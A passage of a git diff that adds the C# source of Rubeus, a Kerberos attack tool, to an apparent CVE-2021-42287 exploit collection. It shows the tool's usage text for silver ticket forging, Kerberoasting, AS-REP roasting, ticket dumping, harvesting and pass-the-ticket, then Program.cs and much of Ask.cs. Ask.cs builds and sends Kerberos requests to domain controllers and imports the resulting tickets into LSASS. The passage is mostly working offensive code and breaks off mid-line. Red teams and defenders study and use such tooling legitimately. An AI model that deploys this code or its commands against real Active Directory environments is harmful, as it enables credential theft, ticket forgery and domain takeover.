[/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information and including an S4UDelegationInfo PAC section: + Rubeus.exe silver /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm: + Rubeus.exe silver /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket, setting values explicitly: + Rubeus.exe silver [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt] + + + Ticket management: + + Submit a TGT, optionally targeting a specific LUID (if elevated): + Rubeus.exe ptt [/luid:LOGINID] + + Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated): + Rubeus.exe purge [/luid:LOGINID] + + Parse and describe a ticket (service ticket or TGT): + Rubeus.exe describe [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] + + + Ticket extraction and harvesting: + + Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service: + Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] + + List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID: + Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] + + Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: + Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap] + + Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: + Rubeus.exe tgtdeleg [/target:SPN] + + Monitor every /interval SECONDS (default 60) for new TGTs: + Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] + + Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200): + Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] + + + Roasting: + + Perform Kerberoasting: + Rubeus.exe kerberoast [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting, outputting hashes to a file: + Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] + + Perform Kerberoasting, outputting hashes in the file output format, but to the console: + Rubeus.exe kerberoast /simple [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting with alternate credentials: + Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:""blah/blah""] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting with an existing TGT: + Rubeus.exe kerberoast [/nowrap] + + Perform Kerberoasting with an existing TGT using an enterprise principal: + Rubeus.exe kerberoast /enterprise [/nowrap] + + Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail: + Rubeus.exe kerberoast /autoenterprise [/ldaps] [/nowrap] + + Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts: + Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap] + + Perform ""opsec"" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts: + Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap] + + List statistics about found Kerberoastable accounts without actually sending ticket requests: + Rubeus.exe kerberoast /stats [/ldaps] [/nowrap] + + Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter): + Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap] + + Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: + Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap] + + Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: + Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap] + + Perform AES Kerberoasting: + Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] + + Perform AS-REP ""roasting"" for any users without preauth: + Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform AS-REP ""roasting"" for any users without preauth, outputting Hashcat format to a file: + Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] + + Perform AS-REP ""roasting"" for any users without preauth using alternate credentials: + Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU,...""] [/ldaps] [/nowrap] + + + Miscellaneous: + + Create a hidden program (unless /show is passed) with random (or user-defined) /netonly credentials, displaying the PID and LUID: + Rubeus.exe createnetonly /program:""C:\Windows\System32\cmd.exe"" [/show] [/username:USERNAME] [/domain:DOMAIN] [/password:PASSWORD] + + Reset a user's password from a supplied TGT (AoratoPw): + Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME] + + Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes: + Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN] + + Substitute an sname or SPN into an existing service ticket: + Rubeus.exe tgssub /altservice:ldap [/ptt] [/luid] [/nowrap] + Rubeus.exe tgssub /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap] + + Display the current user's LUID: + Rubeus.exe currentluid + + The ""/consoleoutfile:C:\FILE.txt"" argument redirects all console output to the file specified. + + The ""/nowrap"" flag prevents any base64 ticket blobs from being column wrapped for any function. + + + NOTE: Base64 ticket blobs can be decoded with : + + [IO.File]::WriteAllBytes(""ticket.kirbi"", [Convert]::FromBase64String(""aa..."")) + +"; + Console.WriteLine(usage); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Program.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Program.cs new file mode 100644 index 0000000..fd4f225 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Program.cs @@ -0,0 +1,123 @@ +using Rubeus.Domain; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Rubeus +{ + public class Program + { + // global that specifies if ticket output should be wrapped or not + public static bool wrapTickets = true; + + private static void FileExecute(string commandName, Dictionary parsedArgs) + { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + + Info.ShowLogo(); + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n"); + Console.WriteLine(e); + } + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + public static void Main(string[] args) + { + // try to parse the command line arguments, show usage on failure and then bail + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + if (parsed.Arguments.ContainsKey("/nowrap")) + { + wrapTickets = false; + } + + if (parsed.Arguments.ContainsKey("/consoleoutfile")) { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Properties/AssemblyInfo.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..891f86d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Rubeus")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Rubeus")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Rubeus.csproj b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Rubeus.csproj new file mode 100644 index 0000000..74090cf --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Rubeus.csproj @@ -0,0 +1,237 @@ + + + + + Debug + AnyCPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06} + Exe + Properties + Rubeus + Rubeus + v4.0 + 512 + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + true + + + AnyCPU + none + true + bin\Release\ + TRACE + prompt + 4 + false + false + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework 3.5 SP1 + true + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/app.config b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/app.config new file mode 100644 index 0000000..fcd0c93 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/app.config @@ -0,0 +1,3 @@ + + + diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/bin/Release/Rubeus.exe.config b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/bin/Release/Rubeus.exe.config new file mode 100644 index 0000000..fcd0c93 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/bin/Release/Rubeus.exe.config @@ -0,0 +1,3 @@ + + + diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Ask.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Ask.cs new file mode 100644 index 0000000..d07e7f8 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Ask.cs @@ -0,0 +1,779 @@ +using System; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Linq; +using Asn1; +using Rubeus.lib.Interop; +using Rubeus.Asn1; +using Rubeus.Kerberos; +using Rubeus.Kerberos.PAC; + + +namespace Rubeus { + + public class RubeusException : Exception + { + public RubeusException(string message) + : base(message) + { + } + } + + public class KerberosErrorException : RubeusException + { + public KRB_ERROR krbError; + + public KerberosErrorException(string message, KRB_ERROR krbError) + : base(message) + { + this.krbError = krbError; + } + } + + public class Ask + { + public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true) + { + // send request without Pre-Auth to emulate genuine traffic + bool preauth = false; + if (opsec) + { + preauth = NoPreAuthTGT(userName, domain, keyString, etype, domainController, outfile, ptt, luid, describe, true); + } + + try + { + // if AS-REQ without pre-auth worked don't bother sending AS-REQ with pre-auth + if (!preauth) + { + Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); + Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); + AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac); + return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, true, opsec, servicekey); + } + } + catch (KerberosErrorException ex) + { + KRB_ERROR error = ex.krbError; + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + catch (RubeusException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + + return null; + } + + public static bool NoPreAuthTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string domainController, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false) + { + string dcIP = Networking.GetDCIP(domainController, true, domain); + if (String.IsNullOrEmpty(dcIP)) { return false; } + + AS_REQ NoPreAuthASREQ = AS_REQ.NewASReq(userName, domain, etype, true); + byte[] reqBytes = NoPreAuthASREQ.Encode().Encode(); + + byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); + + if (response == null) + { + return false; + } + + // decode the supplied bytes to an AsnElt object + AsnElt responseAsn = AsnElt.Decode(response); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) + { + Console.WriteLine("[-] AS-REQ w/o preauth successful! {0} has pre-authentication disabled!", userName); + + byte[] kirbiBytes = HandleASREP(responseAsn, etype, keyString, outfile, ptt, luid, describe, verbose); + + return true; + } + + return false; + + } + + //CCob (@_EthicalChaos_): + // Based on KerberosAsymmetricCredential::Get function from Kerberos.NET from here: + // https://github.com/dotnet/Kerberos.NET/blob/v4.5.0/Kerberos.NET/Credentials/KerberosAsymmetricCredential.cs + // Additional functionality - If the certificate points to a file we assume PKCS12 certificate store + // with private key otherwise use users certificate store along with any smartcard that maybe present. + public static X509Certificate2 FindCertificate(string certificate, string storePassword) { + + if (File.Exists(certificate)) { + return new X509Certificate2(certificate, storePassword); + } else { + + X509Store store = new X509Store(StoreName.My, StoreLocation.CurrentUser); + store.Open(OpenFlags.ReadOnly); + X509Certificate2 result = null; + + foreach (var cert in store.Certificates) { + if (string.Equals(certificate, cert.Subject, StringComparison.InvariantCultureIgnoreCase)) { + result = cert; + break; + } else if (string.Equals(certificate, cert.Thumbprint, StringComparison.InvariantCultureIgnoreCase)) { + result = cert; + break; + } + } + + if (result != null && !String.IsNullOrEmpty(storePassword)) { + result.SetPinForPrivateKey(storePassword); + } + + return result; + } + } + + public static byte[] TGT(string userName, string domain, string certFile, string certPass, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verifyCerts = false, string servicekey = "", bool getCredentials = false) { + try { + X509Certificate2 cert = FindCertificate(certFile, certPass); + + // Check for Base64 encoded certificate second in case certFile was a hex-encoded fingerprint + if (cert == null && Helpers.IsBase64String(certFile)) + { + cert = new X509Certificate2(Convert.FromBase64String(certFile), certPass); + } + + if (cert == null) { + Console.WriteLine("[!] Failed to find certificate for {0}", certFile); + return null; + } + + KDCKeyAgreement agreement = new KDCKeyAgreement(); + + Console.WriteLine("[*] Using PKINIT with etype {0} and subject: {1} ", etype, cert.Subject); + Console.WriteLine("[*] Building AS-REQ (w/ PKINIT preauth) for: '{0}\\{1}'", domain, userName); + + AS_REQ pkinitASREQ = AS_REQ.NewASReq(userName, domain, cert, agreement, etype, verifyCerts); + return InnerTGT(pkinitASREQ, etype, outfile, ptt, domainController, luid, describe, true, false, servicekey, getCredentials); + + } catch (KerberosErrorException ex) { + KRB_ERROR error = ex.krbError; + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } catch (RubeusException ex) { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + + return null; + } + + public static bool GetPKInitRequest(AS_REQ asReq, out PA_PK_AS_REQ pkAsReq) { + + if (asReq != null && asReq.padata != null) { + foreach (PA_DATA paData in asReq.padata) { + if (paData.type == Interop.PADATA_TYPE.PK_AS_REQ) { + pkAsReq = (PA_PK_AS_REQ)paData.value; + return true; + } + } + } + pkAsReq = null; + return false; + } + + public static int GetKeySize(Interop.KERB_ETYPE etype) { + switch (etype) { + case Interop.KERB_ETYPE.des_cbc_md5: + return 7; + case Interop.KERB_ETYPE.rc4_hmac: + return 16; + case Interop.KERB_ETYPE.aes128_cts_hmac_sha1: + return 16; + case Interop.KERB_ETYPE.aes256_cts_hmac_sha1: + return 32; + default: + throw new ArgumentException("Only /des, /rc4, /aes128, and /aes256 are supported at this time"); + } + } + + public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false, string serviceKey = "", bool getCredentials = false) + { + if ((ulong)luid != 0) { + Console.WriteLine("[*] Target LUID : {0}", (ulong)luid); + } + + string dcIP = Networking.GetDCIP(domainController, false, asReq.req_body.realm); + if (String.IsNullOrEmpty(dcIP)) + { + throw new RubeusException("[X] Unable to get domain controller address"); + } + + byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode()); + if (response == null) + { + throw new RubeusException("[X] No answer from domain controller"); + } + + // decode the supplied bytes to an AsnElt object + AsnElt responseAsn; + try + { + responseAsn = AsnElt.Decode(response); + } + catch(Exception e) + { + throw new Exception($"Error parsing response AS-REQ: {e}. Base64 response: {Convert.ToBase64String(response)}"); + } + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) + { + if (verbose) + { + Console.WriteLine("[+] TGT request successful!"); + } + + byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq, serviceKey, getCredentials, dcIP); + + return kirbiBytes; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + throw new KerberosErrorException("", error); + } + else + { + throw new RubeusException("[X] Unknown application tag: " + responseTag); + } + } + + public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false) + { + // kirbi = the TGT .kirbi to use for ticket requests + // service = the SPN being requested + // requestEType = specific encryption type for the request, Interop.KERB_ETYPE.subkey_keymaterial implies default + // ptt = "pass-the-ticket" so apply the ticket to the current logon session + // domainController = the specific domain controller to send the request, defaults to the system's DC + // display = true to display the ticket + + // extract out the info needed for the TGS-REQ request + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + + // the etype for the PA Data for the request, so needs to match the TGT key type + Interop.KERB_ETYPE paEType = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + string[] services = service.Split(','); + foreach (string sname in services) + { + // request the new service ticket + TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display, enterprise, roast, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs); + Console.WriteLine(); + } + } + + public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false) + { + string dcIP = Networking.GetDCIP(domainController, display, domain); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + if (display) + { + if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) + { + Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); + } + else + { + Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); + } + + if (!String.IsNullOrEmpty(service)) + Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); + else if (u2u) + Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName); + else + Console.WriteLine("[*] Building TGS-REQ request"); + + } + + // if /service is empty get name from the supplied /tgs + if (u2u && tgs != null && String.IsNullOrEmpty(service)) + service = tgs.enc_part.ticket_info[0].pname.name_string[0]; + + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u); + + byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); + if (response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + if (display) + { + Console.WriteLine("[+] TGS request successful!"); + } + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT + if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0)) + { + byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true); + + byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes); + } + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = rep.crealm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + if (String.IsNullOrEmpty(servicekey) && u2u) + servicekey = Helpers.ByteArrayToString(clientKey); + + if (display) + { + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + + LSA.DisplayTicket(kirbi, 2, false, false, false, false, + string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey)); + } + + if (!String.IsNullOrEmpty(outfile)) + { + outfile = Helpers.MakeValidFileName(outfile); + if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) + { + if (display) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); + } + } + } + + if (!String.IsNullOrEmpty(servicekey) && printargs) + { + var decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null); + PACTYPE pt = decryptedEncTicket.GetPac(null); + if (pt == null) + { + Console.WriteLine("[X] Unable to get the PAC"); + return kirbiBytes; + } + + string outArgs = String.Empty; + + foreach (var pacInfoBuffer in pt.PacInfoBuffers) + { + if (pacInfoBuffer is LogonInfo li) + { + outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString())) + outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString())) + outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString())) + outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString())) + outArgs = 